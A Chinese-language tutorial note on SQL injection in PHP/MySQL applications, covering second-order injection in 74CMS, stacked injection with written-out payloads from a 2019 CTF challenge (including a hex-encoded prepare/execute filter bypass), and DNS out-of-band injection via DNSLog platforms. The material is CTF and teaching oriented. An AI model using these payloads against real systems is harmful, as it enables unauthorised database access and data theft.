-PHP 应用&SQL 二次注入&堆叠执行&DNS 带外&功能点&黑白盒条件

#PHP-MYSQL- 二次注入 -DEMO&74CMS
1 、 DEMO- 用户注册登录修改密码
2 、 CMS-74CMS 个人中心简历功能
黑盒思路:分析功能有添加后对数据操作的地方(功能点)
白盒思路: insert 后进入 select 或 update 的功能的代码块
注入条件:插入时有转义函数或配置,后续有利用插入的数据(遮阳前面失效 而后面修改密码就生效了)

#PHP-MYSQL- 堆叠注入 -DEMO&CTF 强网
堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条 sql 语
句,
例如 php 中的 mysqli_multi_query 函数。与之相对应的 mysqli_query() 只能执
行一条 SQL ,所以要想目标存在堆叠注入 , 在目标主机存在类似于
mysqli_multi_query() 这样的函数 , 根据数据库类型决定是否支持多条语句执行 .
1 、目标存在 sql 注入漏洞
2 、目标未对 ";" 号进行过滤
3 、目标中间层查询数据库信息时可同时执行多条 sql 语句
支持堆叠数据库: MYSQL MSSQL Postgresql 等
-2019 强网杯 - 随便注( CTF 题型)
';show databases;
';show tables;
';show columns from `1919810931114514`;
';select flag from `1919810931114514`;
';SeT
@a=0x73656c65637420666c61672066726f6d2060313931393831303933313131
3435313460;prepare execsql from @a;execute execsql;
1 、目标存在 sql 注入漏洞
2 、目标未对 ";" 号进行过滤
3 、目标中间层查询数据库信息时可同时执行多条 sql 语句
#PHP-MYSQL- 带外注入 -DEMO&DNSLOG
0. 注入条件
ROOT 高权限且支持 load_file()
有部分注入点是没有回显的,所有读取也是没回显的,采用带外

  1. 使用平台
    http://ceye.io
    http://www.dnslog.cn
相关推荐
wuyk55514 分钟前
【Socket 进阶之路】第 7 章 IO 多路复用 select & poll 完整实战|多 fd 监听、超时等待、优缺点横向对比
服务器·开发语言·网络·数据库·物联网
船厂电气自动化ai大模型23 分钟前
AI大模型与数学|第81天 课程:正交向量、正交基、格拉姆‑施密特(Gram‑Schmidt)正交化
开发语言·数据结构·人工智能·线性代数·机器学习
databook40 分钟前
使用 DuckDB 分析 Parquet 文件
sql·数据分析·nosql
lv__pf1 小时前
seata【实战 msb】
java·开发语言·后端
点纭1 小时前
C 语言 第七章 常用函数(3)
c语言·开发语言·算法·oracle·c#
旺仔不是程序员1 小时前
相关子查询与性能优化:PostgreSQL 逐行执行的代价与 JOIN 重写
数据库·后端·sql
右耳朵猫AI1 小时前
PHP周刊2026W38 | Laravel AI可观测、Symfony三版本、Webhook零信任、事件溯源架构
后端·php·laravel
专业程序开发源1 小时前
springboot篮球联赛管理系统13635-计算机课程设计、毕业设计
vue.js·spring boot·后端·python·django·php·课程设计
事已至此先睡覺吧2 小时前
第三篇:Java 流程控制详解:条件判断、循环与跳转语句
java·开发语言
m0_734571762 小时前
深入理解5g <二十> dmrs
开发语言·5g